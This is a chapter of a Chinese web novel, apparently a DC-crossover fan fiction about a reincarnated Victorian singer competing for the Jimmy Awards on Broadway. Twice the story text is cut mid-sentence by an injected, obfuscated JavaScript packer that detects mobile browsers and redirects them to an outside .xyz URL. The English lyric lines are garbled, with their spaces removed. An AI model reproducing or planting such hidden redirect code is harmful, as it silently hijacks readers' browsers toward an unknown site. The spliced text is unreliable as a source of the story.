Stilltherewasa—Wait! 又有一声咔嗒! There''sanotherclick!” 卡里亚身体紧绷,抱紧双臂,惊惶地四下张望,就好像这个温馨又安全的练习室里,真的会随时闯进来一个阴鸷老人似的。 杰克也试着在心里跟唱,但唱到第二句就发现自己完全乱了阵脚。 这段歌词快速短促,没有一般曲子该有的节奏感,而桑德海姆的歌词又以拗口闻名,演员唱的时候很容易顾此失彼。 注意力集中在发音上,就会忘记调整呼吸,后面节奏加快时很可能唱断气。 但如果光顾着回忆几个毫无规律可言的换气点,又容易在口齿上犯错,一不小心就会咬到舌头。 而卡里亚的发音,毫不夸张的说,是能让桑德海姆老爷子在天堂瞑目的水准。 利贝嘉本来是不赞同学生临时换曲的,但卡里亚张口来上这么一段,一下子就把她的顾虑打得烟消云散。 那简直是被仙女赐福过的嗓子,每发出一个音节,嘴里就会落下黄金和宝石。哪怕是对英语一窍不通的人,也能感受到其中的韵律之美! 接下来的抒情句,更是让在场的两位观众瞪大了眼睛。 在听到青年水手要带她走的邀约后,乔安娜失焦的眼神重新焕发光彩,抓住救命稻草般地向前伸出手。 “今晚? Tonight? 你是说今晚? Youmeantonight? 哦,先生,我对您一见钟情了, Sir,IdidLoveyouevenasISawyou, 虽然我还未曾知晓您的名字,但那不要紧! evenasitdidnotmatterthatIDidnotknowyourname!” 卡里亚在这段加入了传统(legit)唱法——也就是外行人笼统称之为“美声”的唱法,让乔安娜梦幻的高音连贯且持久。 一声又一声的A5长高音,徘徊在“悦耳”和“窒息”之间,使听众联想到剧情开始时,被法官掐死的那只可怜的金丝雀。 这就是桑德海姆的厉害之处,没有一句歌词提到金丝雀,光靠音符就能唤醒听众的记忆,让所有人不约而同地联想到同一个意象。 而卡里亚不仅继承了大师的巧思,还将其带上更高一层:她只是唱了一首曲子,却让人能清晰回想起整部剧的剧情,在脑中自动补完了前情提要。 甚至经过这样一番改编后,《亲吻我》这首歌又延伸出了新的解读部分。 乔安娜对青年水手真的是爱吗? 在二人对唱时,或许还能从男女演员的互动中看到一点激情,但变成独唱之后呢? ——乔安娜爱的对象,是一个她构建出来的能带她逃离苦海的幻影。 那个幻影可以是任何人,不必有清晰的面容,甚至无需真正出现。 乔安娜爱的对象存在于她的脑海内,她把爱意倾注给一个只存在于自己想象中的救赎者,另一人的伴唱其实可有可无。 “哦,先生,亲吻我吧! Kissme,ohsir! 我早知道有一天会和你在一起, IknewI''dbewithyouoneday, 虽然我还不知道你是谁。 Evennotknowingwhoyouwere。 我曾害怕你永远不会来, Ifearedyou''dnevee, 怕你被主召走, Thatyou''dbeencalledaway, 怕你被杀了,得了瘟疫,被关进债务人监狱, Thatyou''dbeenkilled,Hadtheplague,Wereindebtor''sjail, 被马踩死,在海里溺亡,被警察抓走—— Trampledbyahorse,Goseaagain,Arrestedbythe— 哦,先生,亲吻我吧! Kissme,ohsir!” 漂亮的年轻女孩儿说出“亲吻我吧”,本来应该是香艳又浪漫的唱段,但卡里亚此时周身溢出近乎黑暗的怪诞气息。 她的悲剧过于惨烈,让人不敢靠近,生怕卷入这不幸的漩涡。 《亲吻我》被卡里亚演绎得太过完美,哪怕是看过几次现场版《理发师陶德》的杰克和利贝嘉,此刻都有些手脚发凉,好像此刻他们真的身处伦敦,街上住着一个会杀人的理发师,他们的尸体会被绞成肉馅做成饼,而统治他们的是一个衣冠禽兽! 等到卡里亚唱完,余音仍不绝于耳,难以言喻的恐惧和不适久久未能散去。 利贝嘉有些摇摇晃晃地从椅子上站起来,走过去推开练习室的窗户,试图让六月的暑气吹散阴冷。 杰克猛搓几下胳膊,好叫鸡皮疙瘩消下去点:“我滴个神呐,这还比什么啊,直接送你去决赛得了!” 在短短几天内就能练成这样,杰克是彻底服气了,再没有之前发现两人水平差距时的失落感。 人家这实力,和自己就不是同一个物种,简直就是音乐剧届的氪星人! 凡人和氪星人比个什么劲儿啊,好好膜拜就行了。 利贝嘉给卡里亚倒了杯热茶,让她润润嗓:“现在的效果已经很好了,不过还可以稍微打磨打磨,再修改几个小地方,让歌词听起来更顺畅点。你和杰克的歌都是多重唱改独唱的,这几天可以互帮互助,不确定改哪里的时候就找个人对唱,也许能有新灵感呢。” 杰克举起手:“交给我吧,保证让她拿出一百分的作品去比赛!” 利贝嘉敲敲他的脑袋:“你也别太早放弃,吉米奖又不是只有冠军,还有很多奖学金呢。来都来了,好歹捞个奖杯回家吧。” ***** 等卡里亚的作品打磨至臻,吉米奖集训的日子也近在眼前了。 眼下的难关只剩期末考试。出乎意料的,先前在斯蒂芬妮家公寓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114861|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天台上见过的迪克伸出援手。 布鲁德海文和哥谭的罪犯经常在两地流窜,两家警局为此搭建了共享的信息库,迪克因而有权限调取卡里亚领养人的相关记录。 “放心吧,我在警局的电脑里看过了,他们没想着找你。”迪克,aka夜翼,仔仔细细搜了一遍蝙蝠家的数据库,对着电话另一头说道,“你就安心去考试,我会帮你盯着学校附近的摄像头的。” 他抬起眼睛,看到红头罩对他比了个“ok”的手势,“而且真要有什么意外的话,那天杰森也在附近办事,他会带你跑路的。记得给手机充好电就成。” 卡里亚:“太感谢了,我都不知道该怎么回报这份恩情了。” 迪克:“真要感谢的话,等你拿到冠军奖金了,就在纽约找家米其林餐厅请我们吃饭吧。” 卡里亚:“好呀,奖金大概一万美元,你们想吃哪家?” 迪克:“.......喂我开玩笑的,我还没穷到要蹭学生的饭!你别这么爽快就答应啊!” 万幸的是,等到了考试那天,种种应急计划都没派上用场,卡里亚一路畅通无阻地出了学校,坐上利贝嘉的车,和已经先到一步的杰克在火车站会和。 韦恩阔佬大手一挥,给师生三人组包了一节头等车厢,还带酒水餐饮服务,甫一上车就有三个乘务员进来嘘寒问暖,哪怕是出身优渥的利贝嘉和杰克也没享受过这种首富待遇。 卡里亚上辈子巡演时搭乘的还是老式蒸汽火车,这辈子因为囊中羞涩,也只坐过城里的电车,光是座椅能调节角度就让她惊奇不已。 穷人家的孩子第一次享受高级服务,她未能免俗,要了酒水单上最贵的一款无酒精鸡尾酒,誓不辜负韦恩阔佬的好意,至少得吃喝回点本! 杰克则是沉迷于座位前面自带的游戏机:“我还是第一次希望火车能晚点,这种待遇只能享受三小时也太可惜了!” 利贝嘉打趣道:“好啊,那你就在火车上待七天吧,我和卡里亚先去万豪侯爵酒店待着了。” 杰克差点呛住:“啥?那个死贵死贵,至少一千美元一晚的万豪侯爵酒店??” 利贝嘉笑道:“对的,我也是才接到通知,这次尼德兰组织给你们安排的住宿地点是万豪侯爵酒店,男女分开,双人间,包了整整一层呢。” 卡里亚举手:“我知道,是不是侯爵剧院在的那个万豪侯爵酒店!现在在演《怪奇物语》话剧的那个!” 百老汇的侯爵剧院归尼德兰组织所有,是位置较为特殊的一家剧院,设置在万豪酒店内部,距离时代广场数步之遥,可谓是黄金地带中的黄金地带。 观众席有1612个座位,放在百老汇也属于大剧院了,并且先后上演过《贝隆夫人》《甲壳虫汁》《化身博士》等剧,不管是剧院设施还是剧目质量,都有着不错的口碑。 利贝嘉点点头:“是的,明天白天你们可以去自由观光,晚上安排了你们去侯爵剧院看《怪奇物语》,一切费用都由尼德兰组织承担。” 杰克瞳孔地震:“这也实在太有钱了吧!不是,我们就是一群高中生,至于有这种布鲁斯·韦恩的待遇啊!” 卡里亚掰手指心算:“我记得《怪奇物语》的票价要两三百一张了吧,万豪酒店的房费一晚一人五百,我们住一周多,还包一日三餐,一个人快要五千了吧?” 杰克接过话茬:“一共有92人,合计......我靠,四十几万?!这是在烧钱玩儿啊!” 利贝嘉摆摆手:“不至于这么多,百老汇作为纽约旅游的金字招牌,本身就是带动曼哈顿酒店餐饮消费的最大助力。你们想嘛,一场戏晚上十点十一点结束,市内交通大多停摆,观众可不就得在附近找酒店住了?” 她抿了口红茶,继续解释道,“这些酒店经常推出住宿+剧票的套餐组合,很多老板自己也会投资百老汇玩玩儿,剧院和酒店有很多交情来往,这种活动都是给友情价的,你们的食宿还不至于花这么多钱。” 诚惶诚恐的两个学生松一口气。 利贝嘉又补充道:“但算上活动场地和聘请工作人员的花费,总共应该也要这个数字的。” 杰克和卡里亚又抽上气了。 “这么壕的吗?” 利贝嘉淡淡一笑:“你们以为钱哪儿来的?想想今年新泽西州通过审查,还不明白吗?” 杰克和卡里亚:“......” 杰克和卡里亚齐齐起身,转向已经远去的哥谭市的方向,大吼一声。 “谢谢你,韦恩阔佬!” 17. 挣脱重力 列车到达纽约宾州车站后,交通公司安排了专车接送,让师生三人免受纽约地铁的拥挤之苦。 等到达酒店大堂,利贝嘉陪着两个学生完成了登记手续,和吉米奖工作人员打了声招呼后,拥抱作别:“从现在开始,一切就靠你们自己了。先不要去想比赛的结果,好好享受在纽约的行程吧!” 卡里亚被分到中层的客房,行李已经先行送达,推开门时就放在靠近窗户的床边。 另一张床明显有动过的痕迹,大概是她的室友,只是现在不见人影。 她放下背包,稍微收拾收拾头发就出门了。 当天的晚餐,尼德兰组织直接包下了赫赫有名的萨迪(Sardi''s)餐厅,为学生们接风洗尘,迎接他们踏入音乐剧之都。 萨迪餐厅是百老汇心脏地带的一间百年老店,也是首届托尼奖的举办地。 这里几乎是整个剧院圈的公共餐桌。百老汇大部分剧组都会在首演之夜后来萨迪餐厅吃夜宵,举杯庆贺属于他们的小小胜利。 而在白日里,餐厅主要是接待来此“朝圣”的戏剧迷们。墙上挂着超过一千三百幅剧院名人的漫画肖像,在墙上找喜欢的演员是一种乐趣,而百老汇的艺术家们也以在此拥有一副画像为荣。 因着这段独特因缘,萨迪餐厅甚至获得过一座托尼奖特别贡献奖,奖杯就陈列在餐厅正中央的玻璃柜里,在灯光下闪闪发亮。 这也是尼德兰组织的策略:把百老汇最美好的景象展现给学生们,豪华酒店、传奇餐厅、托尼奖杯,让他们度过一生都难以忘怀的时光。 尝过这些糖衣炮弹的滋味后,还会有人满足于留在家乡的州县,做一个地方剧院的小演员吗? 这要是让沃克斯豪尔剧院的导演看到了,肯定会气得跳脚,大骂这是腐化心灵,不正当争抢人才——但不好意思,我们百老汇就是家大业大,尔等地方乡民能怎么地呢? 应该说,这个战术是相当成功的。 参赛选手们的内心,此刻都埋下了野心的种子:他们也想成为这个街区的一份子,创造历史,让自己的漫画像在墙上有一席之地! 除了一个人。 卡里亚·穆瑟尔,心中确有激动,但更多的是惆怅。 其他学生看到了野心和机会,但她作为死过一次的旧时演员,看到的是演艺界的残酷。 一百多年,每年都有成千上万个演员来纽约打拼,到头来,也就只有一千三百多个幸存者能留下名字。 她记忆里的那些演员,包括她自己在内,都没能在这个世界上留下痕迹;就连当时最风光的莎士比亚戏剧演员,隔了一个世纪后,最多也不过是在某篇论文的角落里一闪而过。 一千三百人,戏剧圈的顶峰看似人头攒动,可在山脚下有多少被遗忘的骸骨呢? 这份感慨一直到她离开萨迪餐厅,都未曾散去。 卡里亚没有跟随其他学生夜游时代广场,独自一人走在纽约的大街上,将眼前的景象与回忆对比。 她上辈子也来过百老汇,那个时候这块地区还属于低收入居民区,路面都是泥土碎石,到了冬天还容易结冰打滑。 20世纪末的百老汇,没有这些快把天空淹没的高楼大厦,路边林立着廉价旅馆、酒馆和小商铺,混杂着泥土和油烟的味道,一派野蛮生长的景象。 一百多年过去,纽约仍是这么吵闹,只不过换了一种方式:奢侈品的平面广告狂轰滥炸,从地铁灯箱到摩天大楼灯屏,霓虹光如洪流般扑面而来,将游客淹没在感官刺激中。 人行道上,所有人都涌向灯火通明的时代广场,奔赴潮水的中心,卡里亚却顺着反方向,逆流而上。 不知走了多久,她终于来到了叮砰巷(TinPanAlley)的遗址前。 几栋剥落了墙皮的老楼在黑暗中伫立,一楼虽然还有几家手机店亮着光,但大部分地方早已被寂静的黑暗吞没。 而在一百多年前,这里却是另一番景象:狭小的公寓里挤满了出版商和音乐家,窗户一扇接一扇亮着灯,音乐公司的雇员们卖力推销自家的曲谱,钢琴的声音从每个房间流出,与街上电车的铃声交织,叮叮咚咚,像是一台永不停歇的音乐盒。 叮砰巷,美国现代音乐的发源地,卡里亚上辈子演综艺秀时有几首曲子就是在这儿买的。 如今,她那一代的音乐人都已离世,整个巷子似乎也跟着死去了。 卡里亚伫立在空无一人的街边,凝望着巷子前的纪念碑,心情像是在悼念某位朋友的坟墓。 她这辈子活了17年,此刻故地重游,仍然免不了对世事变迁的哀愁。 “你在这儿看什么呢?” 忽地被人从背后拍了下肩膀,卡里亚吓得朝旁边一跳,下意识要去拿防身道具,但看到熟悉的黑色皮衣和红蓝衬衫后,又停下了动作。 “超级小子?” 康纳·肯特听到她记住了自己的名号,心情大好,摘下墨镜道:“正是本人。你大晚上地跑这里干什么?这种地方连个路灯都没有,你作为哥谭人难道没有最基本的警觉心吗?” 卡里亚实话实说:“我来看看百老汇的发源地。” 康纳很无语:“剧院迷圣地巡礼是吧,那你干嘛不去时代广场那边?” 卡里亚眨巴眨巴眼,努力想出借口:“因为这里不要钱?” 康纳:“......” 吐槽的点太多,康纳的语言系统暂时失灵。 在他试图开机重启时,卡里亚突然一敲手掌:“对了,上次你走太快,我还没来得及和你说话呢!多亏你帮我们赶跑了罪犯,不然演出就没法进行了。我能来到这里参加比赛,真是多亏有你!谢谢你,超级小子!” 康纳一下子又恢复了平常公孔雀的样子:“小事一桩,小丑的几个小喽啰,对我来说易如反掌!” 卡里亚很捧场:“我还去搜了你的一些报道,超级英雄真是太了不起了!” 康纳尾巴快翘到天上了:“那当然的,我可是超级小子,没有什么是我做不到的!” 卡里亚星星眼:“哇塞!维基里说你会接触式心灵遥感,这也是真的吗?” 康纳:“.....” 康纳的尾巴一下子耷拉下去了。 康纳有点闹别扭:“是是是,''这种能力不就和用手捡东西一样'',你也有这种想法吧?” 他这个能力不知道被拿来调侃过多少次了,社媒上经常有人笑话,甚至今天去少年泰坦学院,有几个小屁孩还当着他的面大声议论,说什么“和牛仔裤的小口袋一样意义不明的东西”。 真是对不起啊,不能像克拉克那样成为六边形战士,主能力还是这么鸡肋的东西! 出乎他的意料,卡里亚的语气十分热切:“怎么会呢,我觉得这个能力超级帅!” 康纳愣了片刻:“......你真这么觉得?” 卡里亚用力点头:“真的,这简直是我梦寐以求的能力!” 这份热情连康纳本人都有点怀疑了:“不是,你是不是误会什么了?这个除了拿来搬东西还有什么别的用途吗?” 卡里亚眼中精光一闪。 ******* 半小时后,纽约万豪侯爵酒店的上方。 卡里亚紧紧抓着挂毯的边缘,看着下方离他们愈来愈远的城市夜景,有点下意识地恐高,但很快被梦想成真的喜悦掩盖过去。 “哇,真的飞起来了!”卡里亚伸出手,感受夜风从指间流过,音量因为激动而拔高分贝,“太了不起了,谢谢你,超级小子!” 在康纳的操纵下,飞毯从帝国大厦的尖顶掠过,他们的倒影映在玻璃幕墙上,连同不远处哈德逊河的波光,被月光镀上银色,璀璨闪烁。 看到卡里亚拖着一张挂毯来找他,康纳其实有点淡淡的无语,但往印度风格的精美织品上这么一坐,虽然他很不愿意承认,但心情确实涌现出一种莫名的欢欣。 不过为了维持可靠英雄的形象,康纳还是嘴硬道:“还行吧。cos一把阿拉丁,竟然能让你这么开心?” 卡里亚的眼睛闪闪发亮:“超级开心的!飞行可是人类从诞生以来就有的愿望,而且不是靠飞机这种工具,我们现在是真的飞在天上耶!就像小飞侠彼得·潘一样!” 康纳失笑道:“好了,知道你喜欢迪O尼电影了。你该不会要高歌一曲《awholenewworld》吧?” 卡里亚:“可以吗?” 康纳无情道:“不可以,会被法务部告侵权的。”迪O尼动画还是留给小乔去欣赏吧,对他来说还是太幼稚了。 卡里亚有点失望地“哦”了一声,乖乖把到嘴边的音符吞了回去。 但这种时候,她又实在安静不下来,对着康纳说出肺腑之言:“说真心的,我真的觉得这种能力很了不起。虽然这可能是你看惯了的东西,但对我来说,绝对是能改变人生的体验。” 她看向下方的城市夜景。 曾经喧嚣刺眼的广告牌和霓虹灯,在高空中看,被压缩成五颜六色的亮片,在高空中俯视,像是撒了一地的糖果纸。 “这么飞在天上的时候,就觉得好像自己的烦恼实在是微不足道。”她入迷地凝视周围的景色,“有些东西死去了,有些美好的东西再也回不来了......但总会有新的希望出现的。” 百老汇的变样,固然令她这个旧时代的遗物伤感,但放在人类的历史上看,难道不是一件好事吗? 随处可见的小剧院是消失了,但潜藏在黑暗里的那些罪恶——滑稽秀剧院的软/色/情服务,由此滋生出来的皮肉交易,一同被取缔,治安和社会风气要比19世纪时好上太多。 叮砰巷里的乐声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136716|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不再,那是因为音乐家们有了更好的交易渠道,有了劳动法和工会作保障,他们再不必被商人们压榨似地工作,拼命作曲换得温饱。 如果她不曾在1905年的冬天死去,她今后的人生是可以一眼望到头的:登上舞台,获取鲜花与掌声,在战争时期像美国队长那样为国募捐,上台直到再也演不动,最后在墓碑上得到几句溢美之词;好的话,也许暮年时能在萨迪餐厅的墙上有一张自己的画像。 但和自由自在地飞行于空中比起来,谁能说这种人生就一定更好呢? 卡里亚扪心自问,如果现在让她选择,用这样此生绝无仅有的飞毯体验,换取她回到维多利亚时代,答案一定是——不! 她想继续生活在这个时代,去目睹文明如何发展,去见证那些她上辈子只在小说里看到的事物——外星人、超能力者,而他们的存在又会给人类的艺术创作带来怎样的变革! 康纳明显感觉到,先前缠绕在卡里亚身上的某种阴郁的东西消失了,现在她就像个悟道者一样眼神清明。 他觉得有点不可思议:“不是,就带着你这么飞了一圈,就改变你的人生了?你的人生观还是稳定一点比较好吧?” 卡里亚语气认真:“可能因为你和你周围的人都是了不起的超级英雄,所以没感觉,但对我这样的普通人类来说有着非同一般的意义!你要相信你拥有的力量,你的能力就是这么了不起!” 康纳张大嘴巴,不知道该说什么好。 他感觉自己内心深处,平常被他刻意忽视的一部分——作为邪恶实验产物的出身,无法拥有完整的氪星人力量,找不到自己在大都会的位置——被他用玩笑话藏起来的不安感,此刻好像“咔擦”一声,被凿开了一些。 这让他没法如同以往一般,用一些自大或者自夸的话语来应接。 “我真的有吗?” 不是因为拯救了生命,而是单纯的因为他本身,改变了一个人的人生? 卡里亚不吝啬赞美之词:“真的,千真万确!你可是让想象力变成了现实,让我认知到的世界一下子变得这——么大!”她有点孩子气的张开双臂,画了一个大大的圈,“这可是很多人穷极一生在追求的东西,而我在17岁就得到了!” 卡里亚的脸颊上泛着微光,月光汇聚在她眼底,让她的眸中焕发出足以照亮夜空的光彩。 她的笑容让康纳的心脏漏跳一拍,原本手到擒来的轻浮话术,此时一个字都说不出来。 他只好紧紧闭上嘴巴,生怕那些真心话漏出来。 比如他的内心深处一直存在迷惘,而卡里亚的话帮他找到了一点方向。 比如她的话让他重新审视了他习以为常的一些事情。 再比如.....其实他有点后悔刚才阻止卡里亚唱《awholenewworld》,其实他可以让她更开心一点的。 憋了半天,他挠挠有些泛红的耳朵,小声说道:“能帮到你就好,下次你要是还想飞的话可以找我。” 卡里亚又惊又喜:“真的吗?” 康纳竭力让自己看起来轻松自然:“是啊,只要我有空的话。等你回哥谭了,我还可以带你去海上面飞一圈。喏,先加一下联系方式把。” 卡里亚从口袋里拿出手机:“好耶,啊,这里还有信号,太好了!” “顺便ins也互关一下吧,那边可以发图片,更方便。” 两人一顿操作。 “......咦?” “......哈?” ****** 回到酒店后,卡里亚把挂毯重新摆好,想到刚才的事,大大叹了一口气。 虽然她解释了事情的前因后果,但被拉黑的超级小子还是很生气。 她还记得对方怒气冲冲瞪着她的样子:“虽然是我发言有错在先,但你拉黑救命恩人是不是太过分了点,你这是无主观意愿犯罪!听好了,你以后别想主动联系我了,等我心情好的时候再来找你,你就眼巴巴地等着吧!” 虽然嘴上说的很凶,但超级小子还是非常负责地把她送回酒店,还帮她把挂毯上乱掉的穗子整理好。 “真是大好人啊,超级小子!”卡里亚会想起刚才腾空时的快乐,忍不住笑嘻嘻地自言自语道。 就在这时,房门被“滴”一声刷开,她那位神龙见首不见尾的室友终于露了面。 女孩有着黑珍珠一样的皮肤,眼神里带着些许打量,但礼数周全:“你好,我是和你住同一间的拉蒂法·劳伦斯。” 最大boss的出现提醒卡里亚,是时候该回到地面上的现实生活中来了。 她的情绪没怎么波动,甚至因为提前见到了对手本人,有种莫名的安心感。 卡里亚点点头,仍是刚才那副笑眯眯的表情:“你好,拉蒂法。希望我们在这一周里相处愉快。” 18. 竞争关系 来纽约的第二天,卡里亚在万豪酒店的咖啡厅美美享受了豪华早餐,按照计划出发在纽约市区观光。 现在是六月末,暑假的旅游旺季,要是去各大景点人挤人,还不如呆在酒店喝茶吹空调呢。 但难得来一次纽约,哪儿都不去未免太可惜。 权衡利弊后,作为一个口袋里没啥钱的剧迷,卡里亚要去的地方显而易见了。 ——去抢折扣票! 时代广场有一家“tkts”售票亭,专门售卖当日演出的折价票。 一部剧不可能场场爆满,而空位置就这么放着也怪可惜,剧院联盟就搞了这么个售票模式,把当日空闲的票打折挂出去卖,多少能赚一点。 虽然这种剩的票一般都是开冷门剧盲盒,位置在边边角,还经常有栏杆遮挡视野,但都打一折了还要什么自行车啊! 卡里亚来纽约之前做了攻略,自信满满:今天是工作日,不会像周末那样人多,而游客们大部分都是提前在网上买好票。tkts售票亭十点开售,她八点去排队,肯定能抢到一些好票! 但她还是低估了纽约剧迷的热情。 她到的时候还不到八点,售票亭门口的树荫下就已经挤满了人。 这些人无一例外都是大学生,世界上另一个喜欢看剧但又没什么钱的群体。 来都来了,卡里亚只好也加入了蹲票大军。 幸运的是,轮到她时还剩下一些最后排的位置,还是今年拿了几个托尼奖提名的剧。 卡里亚豪气地拿出一张汉密尔顿头像的十美元大钞,把票收入囊中,马不停蹄徒步十几条街,去看了下午场的音乐剧。 到晚上可就舒服多了,尼德兰组织发给她的票是前排中轴。《怪奇物语》舞台剧的特效,像是所有人突然原地消失,演员的头突然变成异形食人花,全都一清二楚,看得她大呼过瘾。 但俗话说的好,人的运气是守恒的。享受了好运,倒霉事就会随之而来。 训练第一天的早上,学生们坐上官方安排的面包车,来到曼哈顿林肯中心。 这里除了提供演出场所,还兼任茱莉亚音乐学院的校区,他们接下来一周的训练也安排在此。 每人都发到一张塑封ID卡,一同发到手上的还有教室地图,以及分组的结果。 很不幸,卡里亚抽到了人人避之不及的合奏大组,要和剩余59人共享一首曲目。 偏偏这个时候杰克大呼小叫地跑过来:“卡里亚,我分到了八人小组!你怎么样!” 卡里亚:“恭喜你。我在和你相反的那一组。” 杰克沉默了。 他真该死啊! 看到杰克这副蔫巴的样子,比她这个当事人还难受,卡里亚不禁被逗乐了:“不要紧的,你既然分到了想去的地方,那就好好努力,不用管我。” 这么说着,她也渐渐想通了:“大组不像八人小组那样有足够的展示空间,但未必没有机会。你想啊,要是八强的名额全都集中在小组的独唱演员里,那还设置这个环节干嘛?” 没能用上大家为她做的红希德戏服,也就这有点遗憾,但现在哪儿还有空去想这些。 卡里亚跟着地图,找到了大组的练习室。 角落里摆了几张圆桌,没写名字,她随便找了张坐下来,开始翻看上面放着的人手一份的资料。 大组的其他学生们也没聊天的心情,有样学样坐下来,偌大的舞蹈室内只有翻动纸张的声音。 负责大组的凯斯琳·马尔肖女士,进来时看到这幅光景,在内心不耐烦地砸了下舌。 每年吉米奖都是这样,这些学生在自家地盘当第一名当惯了,个个只想着有机会去小组唱单人戏,一旦知道被分到大组,就是一副悲剧主角的样子,看着就烦。 要比惨,谁能有她惨! 她不仅要来带学生,还要负责编舞呢! 六十个人的舞蹈,并且要求让每个人都有上前展示一句的机会,她熬得头发都快掉光了,还要面对一群哭丧脸的家伙,想想就来气。 马尔肖在百老汇当了三四十年的编舞和选角导演,眼光毒辣,扫了一圈就知道每个人的状态。 特别显眼的有两人。 有一个小帅哥,她认得,好莱坞来的,之前在社交媒体上火了一把。 他的表情无悲无喜,肩背挺拔,哪怕坐在塑料圆凳上,整个人的体态也优美如同雕塑。那副姿态像是在无声宣言,哪怕环绕在这么一群人之中,他也能成为人群的焦点。 他有这个资本,那张脸蛋放在好莱坞都很显眼,美貌的人天生就有优势。 还有就是一个金发妞了。马尔肖进来的时候,她正在两眼放光地翻着那本倾注心血的舞蹈笔记,让她这个创作者有点骄傲。 谁会不喜欢懂行的人呢? 在场这些人,也就只有这两人能入她的眼了。 但未成年人嘛,还是得哄哄的。 马尔肖清清嗓子,重重拍了拍手:“自我介绍一下,我是凯斯琳·马尔肖,在百老汇担任编舞兼导演,或许你们可能看过一些,《万事皆可》《蜘蛛女之吻》《1776》,都是我的作品。” 这位拿了三个托尼奖的重量级人物,光是报出几个作品,就让不少学生张大了嘴巴。 她满意地点点头:“我知道,你们当中的大部分人见到我时会很失望,但相信我,大组绝对不比另外四个八人小组差。” 她扬起手里的手册,放在投影仪下展示,满满的笔记让学生们发出小声惊呼。 “是,八人小组的组曲是个一展歌喉的好机会,但我们有他们做不到的事情。”她跺跺脚,展示舞鞋,“我们的编舞可比那八人组曲华丽多了,而且群戏可是我们百老汇的拿手好戏!好好表现,你们也能有机会进八强! 看到学生们一个个振作起来,马尔肖在心里摇摇头,小孩子就是好骗。 是,大组是有进入八强的名额,但那是在比赛开始前就定下来的。 笔记本上用她自己才能看懂的记号,把六十个人的舞蹈分成了三六九等。 最好的那些学生,可以分到最黄金最受瞩目的部分,而那些一般般的,只能在后面挥挥手臂了。 至于怎么分,分给谁,现在开始决定。 “在开始之前,我先做个调查。”马尔肖收起笔记本,“大家把手举起来,根据我接下来的问题放下手臂。” “谁会芭蕾舞,摇摆舞和爵士舞?” 所有人都举着手。 意料之中,这三种舞可是百老汇舞蹈的基石。要是这也不会,还是早点回家玩去吧。 “谁会踢踏舞?” 手臂陆陆续续放下了一些。 “社交舞?” 举手的人仅余三分之一。 “特技动作,像是后空翻和侧手翻?” 剩下的寥寥无几。 “那么,最后一个问题——你们有谁在今天来之前就做好了热身和开嗓?” 到这一步,就只剩下两个人。 马尔肖看着眼熟的两人,满意地点点头。 不错,不愧是她看上的聪明孩子。 “这位金发的小姐,请问你是?” “卡里亚·穆瑟尔。” “好的,穆瑟尔小姐,你做的非常好。” 在周围人或羡慕或嫉妒的眼神中,卡里亚松了口气。 上辈子她为了能多点综艺秀的工作机会,哪怕被安排在最后一个出场,也会早早来到剧院准备。 要是有哪个前面出场的演员突发事故不能前来,剧场经理们总能第一时间想到她,请她顶上。她就是靠着敬业准时的好名声,一点一点在圈子里积累口碑的。 想不到这个习惯在这里也能派上用场,感谢努力的自己! 旁边的罗兰德有点意外。 他做好了热身,纯粹是因为他有晨跑的习惯——在保持身材这一点上,好莱坞的人们有着近乎狂热的兴趣。 而这个叫穆瑟尔的女孩,身上没有长期健身锻炼的痕迹,似乎也不像拉蒂法·劳伦斯那样有专业经验,究竟是.....? 但对方是异性,不会威胁到他的位置,罗兰德的些许好奇稍纵即逝。 马尔肖挑挑眉:“对了,放下手的人里有吗?” 鸦雀无声。 马尔肖抱起双臂,冷笑一声:“那么从明天开始,我希望你们能做好准备再来茱莉亚。不要和我说这是占用你们的私人时间,我们的日程很紧张,更何况你们这一周里还要去明斯科夫剧院熟悉流程,还要花时间去试你们的戏服!” 气氛到位,她趁机再加一把火:“我们的训练日程是从早上九点到晚上六点,并且很有可能需要加练——我希望你们是做好准备了再来练习,不需要我带你们去外面跑两圈!” 暴躁老太太的这一通吼很有效,从这一刻开始,再也没学生为分到大组而伤感,个个像是被抽了鞭子的驴,奋力往前赶,生怕被宰了吃掉。 *** 马尔肖虽然凶,但专业水平是相当在线的。 今年的大组歌曲,是《汉密尔顿》的remix大曲。 改变了百老汇商业版图,又是尼德兰组织的吸金宝贝,在十周年时选择这部现象级音乐剧,合情合理。 而马尔肖还在《汉密尔顿》原有的风格之上,融入了一些创新的元素,比如在歌曲切换时融入踢踏舞的步法,竟然奇妙的风格统一。 这段舞相当精彩,可以直接搬到百老汇的专业剧目里去。 就是辛苦了学生,在训练头两天被马尔肖毫不留情地评判,常常能听到“你,到后面去”“那边那个,到前面来!”之类的指令。 在场的人都是各州水平最拔尖的,能感觉出自己分到的戏份好坏,有人欢喜有人愁。 只有两个人,一直站在人群前面,任凭后面风起云涌,丝毫动摇不了他俩的地位。 罗兰德和卡里亚,在训练的第一天就成了马尔肖的爱将。 在平面上模拟编舞,和实际排练是两回事,马尔肖在看学生们排练时常会有新想法。 因为上了年纪,她无法亲身示范那些大开大合的动作,只能比比划划,传达出想要的感觉:“想象你们是船上的绳子,一开始是松弛的,但船靠岸后就被拉直了,紧绷着,差点断掉——懂我意思吗?” 其他人都很懵,这么抽象,谁能懂啊! 而两个好学生已经点点头,直接 